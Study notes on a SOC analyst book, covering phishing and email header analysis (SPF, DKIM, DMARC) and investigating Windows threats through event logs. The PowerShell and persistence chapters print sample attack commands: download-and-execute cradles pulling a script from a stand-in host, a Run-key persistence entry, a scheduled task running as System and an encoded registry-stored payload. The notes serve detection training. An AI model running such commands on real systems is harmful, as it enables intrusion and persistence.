Post

L1 Week 6-7: Effective Threat Investigation for SOC Analysts

Study notes on Mostafa Yahia's "Effective Threat Investigation for SOC Analysts".

L1 Week 6-7: Effective Threat Investigation for SOC Analysts

Source: Effective Threat Investigation for SOC Analysts - Mostafa Yahia

  • Part 1 — Email Investigation Techniques (Ch. 1–2)
  • Part 2 — Investigating Windows Threats by Using Event Logs (Ch. 3–7)

Part 1: Email Investigation Techniques

Chapter 1: Investigating Email Threats

1. Top Infection Vectors

Initial-access techniques attackers use once recon + weaponization is done:

  • Phishing emails (attachment or link)
  • Exploiting public-facing applications
  • Drive-by compromise (luring to a compromised website)
  • Stealing valid remote-access credentials (VPN, RDP)

Exam tip: Per the IBM Security X-Force Threat Intelligence Index 2022, ~41% of attackers prefer phishing (weaponized document or malicious link) as the initial access vector — the single most common IAV.

Why attackers prefer phishing for initial access

ReasonDetail
Easy target reconEmail lists gathered via job postings, LinkedIn, third-party subscriptions, dark-web leaks, Wayback Machine/Archive.org, marketing data platforms (e.g., ZoomInfo.com)
Easy weaponizationMalware uploaded to legit cloud platforms + link shared; documents weaponized via VBA macros; executables sent compressed
Low user awarenessMany users lack security-awareness training

2. Email Threat Types

Four common external email threat types:

Spearphishing attachment — malicious attachment sent to gain initial access or harvest credentials.

Phishing vs. spearphishing: Phishing = mass, random targeting. Spearphishing = targeted/personalized at a specific individual/org.

Phishing attachment types (5 most common):

TypeNotes
Malicious MS Office docs (Excel/Word/PPT)Most common — weaponized via VBA macros; exploits known Office app vulns
Malicious PDF filesEmbeds malicious JavaScript; links/images/fonts increase legitimacy
Compressed files (.rar/.7z/.zip)Contains executable malware; victim extracts + runs
ISO imagesRising trend; bypass file filters & AV since treated like disc images
HTML filesImpersonate login pages (Microsoft, DHL, bank) to harvest credentials

Spearphishing link — malicious link to harvest credentials or deliver malware for execution.

Phishing link types:

  • Credential harvesting link — fake login page hosted on attacker domain or abused legit hosting (e.g., appspot.com, web.app).

    Case: 2014 — a US financial services company was breached via a fake VPN login page, exposing tens of millions of households’ and small businesses’ data.

  • Malware download link — malware hosted on attacker server or legit cloud storage (MEGA, OneDrive, Dropbox).

    Case: 2017 — a global law firm was hit via a phishing email referencing a real-estate matter; malware spread network-wide, files were encrypted, and a ransom was demanded.

Blackmail email (“sextortion”) — attacker claims to have compromised the victim’s machine and exfiltrated sensitive/sexual content, demands Bitcoin payment, and threatens to publish the data.

Methods used to “prove” infection:

  1. Screenshots of breached data/desktop — obtained via infostealer malware or purchased from dark-web leak stores.
  2. Spoofing the victim’s own email address — makes it look like the attacker sent the email “from” the victim’s own account, implying compromise (pure scam, no real access).

Business Email Compromise (BEC) — targets individuals with access to financial info (executives, finance staff); tricks them into fraudulent wire transfers. Often uses email thread hijacking or spoofs a trusted partner/executive domain.

Case — Gold Galleon (Nigerian cybercrime group, reported by the US DOJ in 2018): compromised employee mailboxes at maritime shipping companies and used email thread hijacking to redirect cargo payments to new bank accounts. Stole $1M+ in one case; targeted 100+ shipping companies across the US, Europe, and Asia, with losses in the tens of millions.

3. Attacker Techniques to Evade Email Security Detection

TechniqueMechanism
Newly created sender domainsBypasses reputation-based threat-intel blocklists (no malicious history yet)
Non-blacklisted SMTP server IPsSame logic — fresh, clean-reputation sending infra
Sandbox evasionSee below
Trusted domains hosting phishing pagesAbuse of appspot.com, web.app subdomains (SSL-issuing, high trust) — first observed by researchers in 2019 targeting Outlook/Dropbox brands

Sandbox evasion sub-techniques:

  • Malware sleep — delay malicious activity (e.g., sleep ≤3 min post-execution) until after the sandbox’s analysis window ends.
  • Encrypted file — password-protected archive/doc shared via the email body; sandbox submission is non-interactive, so the password can’t be supplied, causing the sandbox to fail analysis while the file passes undetected.
  • Sandbox discovery — malware checks for a VM environment, analysis tools, or abnormal user activity; if a sandbox is detected, it halts, sleeps, or alters behavior.
  • Responding to specific requests — only responds to requests from IPs collected during recon of the real victim environment (targeted attacks).

4. Social Engineering Techniques to Trick the Victim

  • Email spoofing — impersonate a trusted sender domain to convince the victim of legitimacy (e.g., an attacker targeting an ABC Bank employee spoofs XYZ Bank, a known business partner). A real-world case involved spoofing the US IRS domain.
  • Email thread hijacking — attacker compromises victim1@organization.com, spots an existing thread with target@targetorg.com, then replies from a lookalike domain (e.g., organization.co vs organization.com) to continue the thread undetected and request actions (bank detail changes, transfers, attachment execution). Commonly used in BEC.
  • Phishing pages on trusted SSL-issuing hosts — abusing dynamic DNS or cloud app domains (appspot.com, web.app) that show the “green padlock,” exploiting user trust in HTTPS.

5. Anatomy of Secure Email Gateway (SEG) Logs

SEG log types:

Log typeContents
SMTP logsSender IP, recipient address, timestamps
Message tracking logsMessage ID, sender, recipient, subject, date/time
Content filtering logsApplied filter rules, content nature, block/allow
Spam & malware logsFlagged spam / detected malware emails
Quarantine logsQuarantined message metadata + reason

Common SEG log fields (vendor-agnostic):

FieldInvestigative use
SMTP server IPCheck blacklists, spoofing indicator
Sender email addressCheck blacklisted domain; may be spoofed
Recipient email addressScope affected users/machines
Email subjectAttacker uses urgency phrases like “Urgent Action Required” or “Confirm your Account Details”; check subject relevance to recipient’s job role
Attached filenameCommon lures: purchase order, important note, invoice
Attached file hashHunt via threat-intel feed (e.g., VirusTotal) even absent detection
Malware categoryMalware family name if signature match (e.g., ZLoader, RedLine Infostealer)
Attached URLURL(s) in email body, logged fully or only on blacklist match
Device actionWhether the malicious mail reached the end user
Block reasonWhy SEG blocked the message

6. Investigating Suspicious Emails — Full Workflow

Complete all subsections below, even if confident early on:

  1. Email sender domain & SMTP server reputation
  2. Spoofing validation
  3. Email sender behavior
  4. Email subject & attached filename
  5. Suspicious email content (attachments/URLs)

6.1 Sender domain & SMTP reputation

  • Search-engine query on domain reputation → threat reports/tweets vs. legitimate business relationship vs. no history (newly created = more suspicious).
  • Public mail domains (Gmail, Yahoo) are also abused due to easy signup + clean reputation.
  • Tool: MxToolbox (mxtoolbox.com) — checks sender domain/IP against 82 known blacklists.

6.2 Spoofing validation

Validate that the sender domain used its authorized SMTP server to send the message.

  1. Extract the actual sending SMTP server IP from SEG logs.
  2. Look up the claimed domain’s MX record via MxToolbox MX Lookup to get authorized sending servers (MX record preference value = priority; lowest number = highest priority).
  3. WHOIS the actual sending IP (e.g., via Domain Tools) and compare it against the authorized MX infrastructure.
  4. A mismatch confirms spoofing.

Worked example: an email claims to be from fedex.com, sent from IP 95.211.214.81. FedEx’s authorized MX servers are mapper.gslb.fedex.com and mxa-0002ee02.gslb.pphosted.com. WHOIS of 95.211.214.81 is unrelated to any authorized server — confirmed spoofing.

6.3 Email sender behavior

  • Has the recipient received mail from this sender/domain before? (history = more likely benign)
  • Same subject formula sent to multiple recipients across departments? → likely phishing/spam campaign
  • Is the subject relevant to the recipient’s job duties? (mismatch = suspicious)

Passing all prior checks can also mean a legitimate but compromised sender is being used to pivot to new victims — content analysis is still required.

6.4 Email subject & attached filename keywords

  • Subject lures: RE:, FW:, Invoice, Missing Inv, New Message from, New scanned, You have a New Message, Verification Required, Action Required
  • Filename lures: invoice, order, contract, payment, offer, planning, SWIFT

6.5 Investigating suspicious email content

URL analysis — URL Scan:

  • Public mode (visible to others) vs. private mode; searchable history of public scans.
  • Reports the targeted brand — if it matches your org, this indicates your org is under active attack.

File analysis — ANY.RUN sandbox:

  • Interactive online sandbox; submit a file or URL; controllable VM in real time.
  • Key tabs: HTTP Requests (external comms, server reputation), Connections, DNS Requests, Threats (IDS signature matches).

⚠️ Never submit sensitive or organization-identifying attachments to public cloud sandboxes — risk of data leakage.

Worked example: VISA PAYMENT (1).xls (password-protected) → excel.exe drops UkMes.bat → spawns cmd.exe → spawns powershell.exe with a long base64-encoded argument. Decode with CyberChef. Threat score 100/100 — legitimate interpreter (powershell.exe) but a malicious command-line argument; behavior showed discovery activity (hostname, language, install date enumeration).


Chapter 2: Email Flow and Header Analysis

1. Email Flow — The Hops

ComponentRole
MUA (Mail User Agent)Client used to send email (Outlook, webmail via browser)
MSA (Mail Submission Agent)Receives email after client submission
MTA (Mail Transfer Agent)AKA SMTP relay server; routes between MTAs to the recipient’s MX
MX (Mail Exchange)Receives mail for a domain; identified by a DNS MX record; domains may have multiple MX for load-balancing
MDA (Mail Delivery Agent)Delivers authenticated mail to the recipient’s mailbox
1
Sender MUA → MSA → MTA(s) → recipient's MX → MDA → Recipient MUA

Every hop appends a header containing (at minimum) the server hostname, server IP, and processing date/time.

2. Email Header Analysis — Read Bottom → Top

Headers are prepended in reverse chronological order — analyze from the bottom (message content) up to the top (most recent hop).

How to obtain the header:

  • Outlook: File → Info → Properties
  • Gmail web: More → Show original
  • Or from the SEG appliance logs

Four subsections of the header:

  1. Email message content and metadata
  2. Email X-headers
  3. Hop server headers
  4. Email authentication

2.1 Message content & metadata fields

FieldMeaning
DateTimestamp of send (UTC by default; MUA-dependent)
FromSender display name + address — spoofable
Return-PathBounce/error address; compare to sender mailbox — mismatch = spoofing indicator
ToRecipient(s)
Message-IDUnique ID, ends in sending server’s FQDN; trackable across SMTP/SEG logs
SubjectSender-written subject
MIME-VersionAlways 1.0 (only defined version)
Content-TypeContent types in the message (text/audio/documents)
Content-Transfer-EncodingEncoding method for MIME/body transfer
ReferencesList of all Message-IDs in the thread (original + replies) — tracks the full conversation
Content-LengthNon-standard; body size in bytes (e.g., added by Yahoo)

2.2 Email X-headers

Custom, non-RFC-standard headers added by mailbox providers.

X-HeaderMeaning
X-MailerEmail client used — helps flag unusual clients (scripts, hacking tools)
X-YMail-OSGYahoo Mail Outbound Spam Guard
X-Sonic-MFSender address reference (Yahoo-specific, undocumented)
X-SONIC-DKIM-SIGNYahoo’s custom DKIM signature field
X-Originating-IPOrigin device IP — used for spam filtering/tracking

2.3 Hop server headers (Received:)

Each hop appends a Received: header. Example chain (yahoo.comgmail.com):

  1. MSA hop: sonic.gate.mail.ne1.yahoo.comsonic303.consmr.mail.ne1.yahoo.com via HTTP.
  2. MX hop: sonic303-21.consmr.mail.ne1.yahoo.com (IP 66.163.188.147) → mx.google.com via ESMTP.
  3. MDA hop: final delivery confirmation to mostafayahia753@gmail.com.

Convert all timestamps to a common timezone (e.g., -0700 PDT → UTC) before building a timeline.

3. Email Authentication

  1. Domain owner defines authentication rules/records, publishes them in DNS.
  2. Receiving server authenticates incoming mail against those published records.
  3. Receiving server applies the domain’s policy (deliver/quarantine/reject) based on the result.

Sender Policy Framework (SPF)

DNS TXT record listing IPs/hostnames authorized to send for the domain.

1
v=spf1 ip4:192.168.1.0/24 -all
TokenMeaning
v=spf1SPF version
ip4:192.168.1.0/24Authorized sending IP range
-allHard fail — reject on mismatch
~allSoft fail — mark as potential spam, don’t reject
?allNeutral — no preference
+allPass any sender — least secure, not recommended
- (hyphen alone)No policy defined → treated neutral

Receiving server: sending IP matches SPF-listed IP → pass; else fail/blocked.

DomainKeys Identified Mail (DKIM)

Digital signature added to headers. The domain publishes a public key as a DNS TXT record; the sender signs with a private key.

1
2
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com;
s=s2048; t=1664539473; bh=<body-hash>; h=Date:From:To:Subject:...; b=<signature>
FieldMeaning
vDKIM version (always 1)
aHash + encryption algorithm (e.g., rsa-sha256)
cCanonicalization algorithm for header/body — relaxed/relaxed (tolerant of whitespace/non-essential header changes) or simple/simple (only strips trailing whitespace, preserves formatting)
dClaimed signing domain — where the public key is looked up
sSelector — used to build the DNS query, e.g. s=s2048 → query s2048._domainkey.yahoo.com
tEpoch signing timestamp
bhBase64 hash of the canonicalized body
hColon-separated list of headers included in the signature
bThe signature itself

Signature generation steps:

  1. Header + body canonicalized per c.
  2. Headers listed in h hashed using the algorithm in a.
  3. Hash signed/encrypted with the sender domain’s private key → digital signature.
  4. Signature base64-encoded → placed in b.

Verification steps (receiving server):

  1. Hash the message body (algorithm from a) → base64 → compare to bh. Match → continue.
  2. DNS lookup using d + s to retrieve the public key (TXT record).
  3. Decrypt b with the public key → yields the signed hash → compare to the hash of the headers listed in h (excluding b itself).
  4. Match → DKIM valid/authentic. Mismatch → invalid → reject/mark spam.

DMARC (Domain-Based Message Authentication, Reporting, and Conformance)

Policy + reporting layer dependent on SPF and DKIM results. If either (or both) fail, DMARC applies the domain owner’s published policy and reports the violation.

1
v=DMARC1;p=reject;pct=100;rua=mailto:postmaster@test.com
FieldMeaning
vDMARC version
pPolicy on failure: quarantine (junk folder), reject (block), none (no action)
pct% of failing mail subjected to policy (1–100); remainder falls to the next lower policy
ruaMailbox URI receiving DMARC aggregate reports

4. Investigating a Spoofed Message’s Header — Worked Example

Scenario: an email purports to be from fedex.commostafayahia753@gmail.com and contains a malicious attachment.

  • Header analysis (bottom→top) shows the actual sending server: mailserver.footballticketnet.com.
  • Last hop in the sender’s environment: IP 95.211.214.81.
  • SPF: fail.
  • No DKIM signature present at all.
  • Conclusion: the attacker spoofed the fedex.com domain — confirmed by the combination of SPF fail, absent DKIM, and mismatched sending infrastructure.

Contrast with a legitimate, non-spoofed message: SPF pass + DKIM pass + DMARC pass is the expected signature of an authentic message.


Part 1 Quick Review

Key facts

  • ~41% of attackers use phishing as an initial access vector (IBM X-Force TI Index 2022).
  • Email headers are built bottom-up — always analyze bottom to top.
  • Full authentication pass = SPF pass + DKIM pass + DMARC pass.
  • DMARC is dependent on SPF/DKIM — it has no independent cryptographic check of its own.

Protocol comparison

ProtocolMechanismRecord typeValidatesFailure action source
SPFAuthorized sending IP listDNS TXTSending server IP-all/~all/?all/+all in the SPF record itself
DKIMCryptographic signature (private/public key pair)DNS TXT (public key)Message integrity + domain authenticityNo policy field — DKIM itself doesn’t reject, just signs pass/fail
DMARCPolicy + reporting, built on SPF+DKIM resultsDNS TXTAlignment/failure handlingp= field: none/quarantine/reject

Email hop chain

1
MUA → MSA → MTA → MX → MDA

Investigation tools referenced

ToolPurposeURL
MxToolboxBlacklist check (82 lists), MX record lookupmxtoolbox.com
Domain ToolsWHOIS lookupwhois.domaintools.com
URL ScanURL analysis, brand-targeting detectionurlscan.io
ANY.RUNInteractive file/URL sandboxapp.any.run
CyberChefDecode/deobfuscate (e.g., base64 PowerShell args)gchq.github.io/CyberChef
VirusTotalFile hash reputation / hunting

Header fields cheat sheet

Date · From · Return-Path · To · Message-ID · Subject · MIME-Version · Content-Type · Content-Transfer-Encoding · References · Content-Length · X-Mailer · X-Originating-IP · Received: (per-hop) · Received-SPF · Authentication-Results · DKIM-Signature · ARC-Seal / ARC-Message-Signature / ARC-Authentication-Results

Email threat types quick compare

TypeVectorGoal
Spearphishing attachmentMalicious file (Office/PDF/archive/ISO/HTML)Initial access / credential harvest
Spearphishing linkMalicious URLCredential harvest / malware delivery
Blackmail (sextortion)Spoofed “self-sent” email or real breach proofExtortion (BTC payment)
BECThread hijacking / domain spoofing targeting finance staffFraudulent wire transfer

Common phishing subject/filename lures

  • Subjects: RE: / FW: / Invoice / Missing Inv / New Message from / New scanned / Verification Required / Action Required
  • Filenames: invoice / order / contract / payment / offer / planning / SWIFT

Part 1 acronym list

AcronymMeaning
ARCAuthenticated Received Chain
BECBusiness Email Compromise
DKIMDomainKeys Identified Mail
DMARCDomain-Based Message Authentication, Reporting, and Conformance
DNSDomain Name System
ESMTPExtended Simple Mail Transfer Protocol
FQDNFully Qualified Domain Name
IAVInitial Access Vector
IDSIntrusion Detection System
MDAMail Delivery Agent
MIMEMultipurpose Internet Mail Extensions
MSAMail Submission Agent
MTAMail Transfer Agent
MUAMail User Agent
MXMail Exchange
PDTPacific Daylight Time
SEGSecure Email Gateway
SMTPSimple Mail Transfer Protocol
SOCSecurity Operations Center
SPFSender Policy Framework
TIThreat Intelligence
TXTText (DNS record type)
UTCCoordinated Universal Time
VBAVisual Basic for Applications
VMVirtual Machine

Part 2: Investigating Windows Threats by Using Event Logs

Chapter 3: Introduction to Windows Event Logs

Storage & Configuration

  • Default log path (Vista+): C:\Windows\System32\winevt\Logs
  • Configurable via registry: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\<EventLogName>

Windows Event Types

Security event log (most valuable for investigations)

CategoryRecords
Logon eventsEvery login (success/failure), logoff
Logon validation eventsCredential validation — on DC (domain accounts) or local machine (local accounts)
Object access eventsAccess to shared files/folders/objects with a configured SACL
Account management eventsAccount creation, deletion, enable/disable, group additions, password changes
Privilege use eventsAdmin-privileged account logon success
Process tracking eventsProcess start/exit

System event log

  • Startup/shutdown/time changes
  • Windows services status (create/start/stop)
  • Windows Firewall status changes

Application event log

  • Events logged by apps configured to use the Windows Application log (AV, DB, etc.)

Other notable log files

LogContent
PowerShell logs (2 files)Execution, command-line args, full scripts
Scheduled tasks logsCreation, start, stop
RDP logsRemote Desktop Protocol connection tracking
WMI logsWMI event consumer creation

A default Windows 10/11 install can contain 300+ event log files (336 cited on a clean Win11 install).

Windows Event Log Analysis Tools

ToolTypeUse
Event ViewerBuilt-in GUILive-machine analysis; export CSV/EVTX/TXT/XML
PsLogList (Sysinternals)CLIDump live logs to TXT/CSV/EVTX/EVT
Event Log ExplorerThird-party GUIOffline .evt/.evtx analysis, filtering, free for personal use
EvtxECmd (Eric Zimmerman)CLIParses .evtx; filter by time/Event ID/account; outputs CSV/XML/JSON

Investigative Approach Used in This Part of the Book

  • Mordor security dataset — pre-recorded events from simulated adversary techniques (securitydatasets.com).
  • HELK (The Hunting ELK) — open-source SIEM used to ingest Mordor data (github.com/Cyb3rWard0g/HELK), with Kibana as the GUI.
  • Lab requirements: 6GB+ RAM, 4+ cores, NAT/bridged VM networking, Ubuntu 18.04, 20GB+ disk.

Chapter 4: Tracking Accounts Login and Management

Windows Account Types

Standard accounts — normal user accounts (local or domain); limited privileges; compromise impact is contained.

Default local system accounts:

AccountPrivilege levelNotes
SYSTEMHighest — full system controlRuns most high-privilege services
NETWORK SERVICELimited (like standard)Presents computer credentials to remote servers
LOCAL SERVICELimitedUses null sessions for network comms (no credential presentation)
<COMPUTERNAME>$Computer accountCreated on domain join; authenticates the computer itself
ANONYMOUS LOGONNull session accountCan enumerate account info, security policy, registry, shares depending on config

Tracking Successful Logins — Event ID 4624

“An account was successfully logged on”

Sections: Subject (usually empty/not useful) · Logon Information (incl. Logon Type) · New Logon (Account Name, Account Domain, Logon ID) · Process Information · Network Information (source system for remote logons — key for lateral movement, see Ch. 7)

Logon Type table

TypeMeaning
2Interactive (keyboard)
3Network (e.g., SMB share access)
4Batch (e.g., scheduled tasks)
5Windows service logon
7Unlock screen
8Network logon, cleartext credentials
9Alternate credentials (RunAs, alt-cred share access)
10Remote interactive (RDP)
11Cached credentials (DC unreachable)
12Cached credentials, remote (10+11 combined)
13Cached credentials to unlock screen

Account Domain field == computer name → local account.

Anomaly indicators via 4624: RDP into workstations from other workstations/public IPs; logins outside working hours; unauthorized share access.

Tracking Successful Admin Logins — Event ID 4672

“Special privileges assigned to new logon” — always paired with a preceding 4624 for the same admin session.

Tracking Logon Sessions

  • Logon ID (from 4624) is unique per session; correlates across most Security-log events for that session (process execution, object access, etc.).
  • Useful for interactive types (2, 10, 11, 12); not useful for type 3 (starts/ends instantly).
  • Session duration = correlate start (4624/4672) with end (4634/4647) sharing the same Logon ID.

Tracking Failed Logins — Event ID 4625

“An account failed to log on”

Adds a Failure Information section: Failure Reason (text) / Status (hex) / Sub Status (hex, most specific reason).

Status/Sub Status codes

CodeMeaning
0XC000005ELogon servers not available
0xC0000064Username does not exist
0xC000006AMisspelled/bad password
0XC000006DBad username or auth info
0XC000006EValid creds, but account restriction prevented auth
0xC000006FLogon outside authorized hours
0xC0000070Unauthorized workstation
0xC0000071Password expired
0xC0000072Disabled account
0XC00000DCSAM server in wrong state
0XC0000133Clock skew between DC and computer
0XC000015BLogon type not granted on this machine
0XC000018CTrust relationship failed
0XC0000192Netlogon service not started
0xC0000193Expired account
0XC0000224Password change required at next logon
0XC0000225Known Windows bug, not a risk
0xC0000234Account locked
0XC00002EEGeneric login error
0XC0000413Blocked by authentication firewall

Exam tip: Password brute-force = many failures against one account. Password spraying = few common passwords tried against many accounts from the same source.

Account lockout — Event ID 4740 “A user account was locked out” — Subject = account that performed the lockout (often the computer account, e.g. WIN-SOC2$); check the domain field to determine if the target is local.

Login Validation Events

Recorded by the authenticating system (DC for domain accounts; local machine/SAM for local accounts) — distinct from logon events (recorded on the machine being logged into).

NTLM protocol — Event ID 4776 — success/failure credential validation; Error Code values map 1:1 to the 4625 Sub Status codes.

Kerberos protocol

Event IDMeaning
4768TGT (Ticket Granting Ticket) created — successful auth
4769Service ticket (TGS) granted — successful auth to access a resource
4771Kerberos pre-authentication failed

4771 failure codes

CodeMeaning
0x6User doesn’t exist
0x9Password must be reset
0x12Disabled / expired / locked / out of hours
0x17Password expired
0x18Wrong password
0x20Ticket expired
0x25Workstation clock out of sync with DC

Account & Group Management Tracking

Account creation/deletion/change events

Event IDMeaning
4720User account created
4722User account enabled
4723Password change attempt
4724Password reset attempt
4725User account disabled
4726User account deleted
4738User account changed
4740User account locked out
4767User account unlocked

Security group membership events

Event IDMeaning
4728Member added to security-enabled global group
4729Member removed from security-enabled global group
4732Member added to security-enabled local group
4733Member removed from security-enabled local group
4756Member added to security-enabled universal group
4757Member removed from security-enabled universal group

Group creation/deletion events

Event IDMeaning
4727 / 4730Global group created / deleted
4731 / 4734Local group created / deleted
4754 / 4758Universal group created / deleted

Attacker pattern: create account (4720) → add to a privileged group like Domain Admins (4728) = persistence + privilege escalation combo.


Chapter 5: Investigating Suspicious Process Execution Using Windows Event Logs

Process Basics

Every process has: process name, process ID (PID), process path, username (security context), command-line arguments, and parent process.

Standard Windows Processes — Expected Behavior Baseline

ProcessPathUserInstancesParent
SystemN/A (kernel-mode)SYSTEM1N/A
smss.exe%Systemroot%\System32\smss.exeSYSTEM1 master + 1/sessionSystem
csrss.exe%Systemroot%\System32\csrss.exeSYSTEM1/sessionN/A (from smss, not shown as parent)
wininit.exe%Systemroot%\System32\wininit.exeSYSTEM1N/A (from smss)
services.exe%Systemroot%\System32\services.exeSYSTEM1wininit.exe
svchost.exe%Systemroot%\System32\svchost.exeSYSTEM/LOCAL SERVICE/NETWORK SERVICEmanyservices.exe
RuntimeBroker.exe%Systemroot%\System32\RuntimeBroker.exelogged-in user1+svchost.exe
lsass.exe%Systemroot%\System32\lsass.exeSYSTEM1wininit.exe
winlogon.exe%Systemroot%\System32\winlogon.exeSYSTEM1/interactive loginN/A (from smss)
LogonUI.exe%Systemroot%\System32\LogonUI.exeSYSTEM1+winlogon.exe
explorer.exe%Systemroot%\explorer.exelogged-in user1/interactive loginN/A

lsass.exe stores authentication credentials in memory — a prime target for credential-theft attacks.

Tool: ECHOTRAIL (echotrail.io) — lookup expected process paths, top parent processes, and top hashes by process name/hash.

Windows Process Tracking Events

Event IDMeaning
4688New process created
4689Process exited

Event ID 4688 sections

  • Creator Subject — user/session that initiated the new process
  • Target Subject — owner of the new process context (empty if same as Creator Subject)
  • Process Information — most valuable section:
    • New Process ID / New Process Name (full path)
    • Token Elevation Type%%1936 (Type 1, full token — UAC disabled or built-in accounts), %%1937 (Type 2, elevated — UAC + “Run as admin”), %%1938 (Type 3, limited — UAC enabled, no elevation requested)
    • Mandatory Label (integrity level via SID/RID)
SIDRIDMeaning
S-1-16-00x0Untrusted
S-1-16-40960x1000Low integrity
S-1-16-81920x2000Medium integrity
S-1-16-84480x2100Medium/high integrity
S-1-16-122880x3000High integrity
S-1-16-163840x4000System integrity
S-1-16-204800x5000Protected process
  • Creator Process ID / Creator Process Name (parent)
  • Process Command Line — NOT logged by default; enable via Group Policy: Administrative Templates → System → Audit Process Creation → “Include command line in process creation events”

Correlate 4688 (start) + 4689 (exit) on the same PID to get process runtime duration.

Investigating Suspicious Process Executions

1. Hiding in plain sight — malware named similarly to standard processes (Svch0st.exe, scvhost.exe, lssas.exe) or the same name from a wrong path/parent (e.g., svchost.exe running from C:\Windows instead of C:\Windows\System32, spawned by cmd.exe instead of services.exe).

2. Living Off The Land (LOTL) — using pre-installed legitimate binaries for malicious purposes to avoid dropping new tools.

Common LOTL binaries: powershell.exe, cmd.exe, Rundll32.exe, net.exe, adfind.exe, ipconfig.exe, reg.exe, wmic.exe

Resource: LOLBAS project — catalogs LOTL binaries + usage + MITRE ATT&CK mapping.

3. Suspicious parent-child process relationships

  • Scenario 1 (weaponized Office doc): excel.exe/winword.exe spawning rundll32.exe, mshta.exe, powershell.exe, or cmd.exe.
  • Scenario 2 (process injection): a legitimate process (e.g., svchost.exe, explorer.exe) is injected with malicious code, then spawns an unusual child (e.g., cmd.exe) — used for privilege escalation / AV evasion.

    Case reference: The DFIR Report, “Dead or Alive: An Emotet Story,” Sept 2022.

4. Suspicious process paths

  • Common malicious locations: user profile paths, Temp folders.
  • Non-standard processes running from System32/SysWOW64 = red flag.
  • Attacker’s working directory — once found, track all process executions from that same directory (attackers tend to stage all tools/scripts in one place).

Process tree tracking: correlate New Process ID ↔ Creator Process ID across 4688 events to reconstruct the full execution chain.


Chapter 6: Investigating PowerShell Event Logs

Why Attackers Prefer PowerShell

  • Installed & whitelisted by default on all Windows systems
  • Generates few digital artifacts
  • Remote access over an encrypted channel
  • Large community + ready-made offensive frameworks: Nishang, PowerSploit, Empire, WinEnum
  • Blends into legitimate sysadmin activity
  • Usable across the entire attack chain

Symantec observed a 661% increase in malicious PowerShell use (H2 2017 → H1 2018), doubling Q1→Q2 2018. McAfee observed a 208% increase Q3→Q4 2021.

Threat actor / framework usage (via Picus Security): APT19 (Empire, Defense Evasion), APT32 (Nishang/PowerSploit), APT33 (PoshC2/PowerSploit/Empire, Persistence+C2), APT41 (PowerSploit, Persistence), CopyKittens/Hades/FIN7 (Empire), FIN10 (Empire, Persistence), menuPass (PowerSploit), MuddyWater (Empire/PowerSploit), TG-3390 (Nishang), Turla (Empire/Posh-SecMod/PowerSploit), WIRTE (Empire).

Sample Malicious Cmdlets by Objective

ObjectiveCommandKey flags
Executionpowershell -w hidden -ep bypass -nop -c "IEX ((New-Object System.Net.Webclient).DownloadString('http://soctest.xyz/malware.ps1'))"-w hidden (hide window), -ep bypass (skip execution policy), -nop (no profile), -c (inline command), IEX/Invoke-Expression (execute string)
PersistenceNew-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -PropertyType String -Name "socmalware" -Value "C:\Windows\temp\volnaf.exe"Registry Run key entry
Lateral movementEnter-PSSession -ComputerName 10.10.0.2 -Credential $credentialsRemote interactive session

PowerShell Execution Tracking Events

Event IDLog fileWhat it logs
800Windows PowerShell (classic)Command-line execution; enabled by default; all PS versions
4103Microsoft-Windows-PowerShell/OperationalExecuted modules/cmdlets (less detail than 4104)
4104Microsoft-Windows-PowerShell/OperationalFull script block content (PS v5+); disabled by default but auto-logs suspicious blocks regardless

Event ID 4104 details

  • Long scripts split across multiple events labeled “Creating Scriptblock text (N of Total).”
  • All fragments of one script share the same ScriptBlock ID — reconstruct by ordering fragments with matching ID (manually, or via ExtractAllScripts.ps1).
  • Path field shows the script path if available.
  • Enable via Group Policy: Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell → “Turn on PowerShell Script Block Logging”

Additional (non-event-log) logging features

FeatureWhat it capturesDefaultStorage
PSReadLineCommand history (like Linux history)OnC:\Users\[USERNAME]\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine (TXT)
TranscriptsFull session I/O incl. errors, start time, username, machine, PS versionOff — start via Start-TranscriptUser’s Documents folder (default)

Investigating PowerShell Attacks

Fileless PowerShell malware — runs directly in memory (no disk file) via a “PowerShell cradle”:

1
powershell.exe -ep bypass -nop -noexit -c iex ((New-Object Net.WebClient).DownloadString('http://soctest.xyz/malware.ps1'))

Find execution evidence in Event ID 800; reconstruct the downloaded/executed script from Event ID 4104.

Suspicious commands/cmdlets reference

Argument/CmdletMeaning
-NonInteractive (-noni)Suppress interactive shell prompt
DownloadStringDownload URI content into a string variable (System.Net.WebClient)
DownloadFileDownload URI content into a file
-ExecutionPolicy/-ep (Bypass/Unrestricted)Skip script signature/warning checks
-EncodedCommand/-e/-encRun a base64-encoded command (evasion)
Invoke-CommandExecute commands on remote systems
Enter-PSSessionInteractive remote PS session
Invoke-WebRequestDownload malware from remote server

Chapter 7: Investigating Persistence and Lateral Movement Using Windows Event Logs

Read Chapters 3–6 first — this chapter builds on that terminology and event ID coverage.

Persistence Techniques

1. Registry Run keys

Registry = hierarchical config DB; 5 hives — most relevant: HKCU (per-user) and HKLM (machine-wide).

Default run keys:

  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

Tracking events:

Event IDMeaning
4656Handle to an object requested
4657Registry value modified (not enabled by default — requires SACL “Set Value” auditing)
4658Handle to an object closed
4660Object deleted
4663Attempt to access an object

4656/4658/4660/4663 cover any object type (Object Type field: File/Key/SAM); filter on Key for registry. 4657 alone shows the actual new/modified value.

Hunting cues: an abnormal process (e.g., PowerShell.exe) touching run keys; access to run keys outside working hours.

2. Windows Scheduled Tasks

Created via GUI or schtasks.exe:

1
schtasks /create /tn mysc /tr C:\Users\Public\test.exe /sc ONLOGON /ru System

Real-world usage: APT3.

Event ID 4698“A scheduled task was created” — Subject (creator) + Task Information (task name + full XML task content: <RegistrationInfo>, <Triggers>, <Exec>, run-as account).

Worked example: THESHIRE\pgustavo created scheduled task MordorSchtask to run daily, executing powershell.exe -NonI -W hidden -c IEX([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKCU:\...debug).debug))) — a fileless technique storing an encoded payload in a registry key.

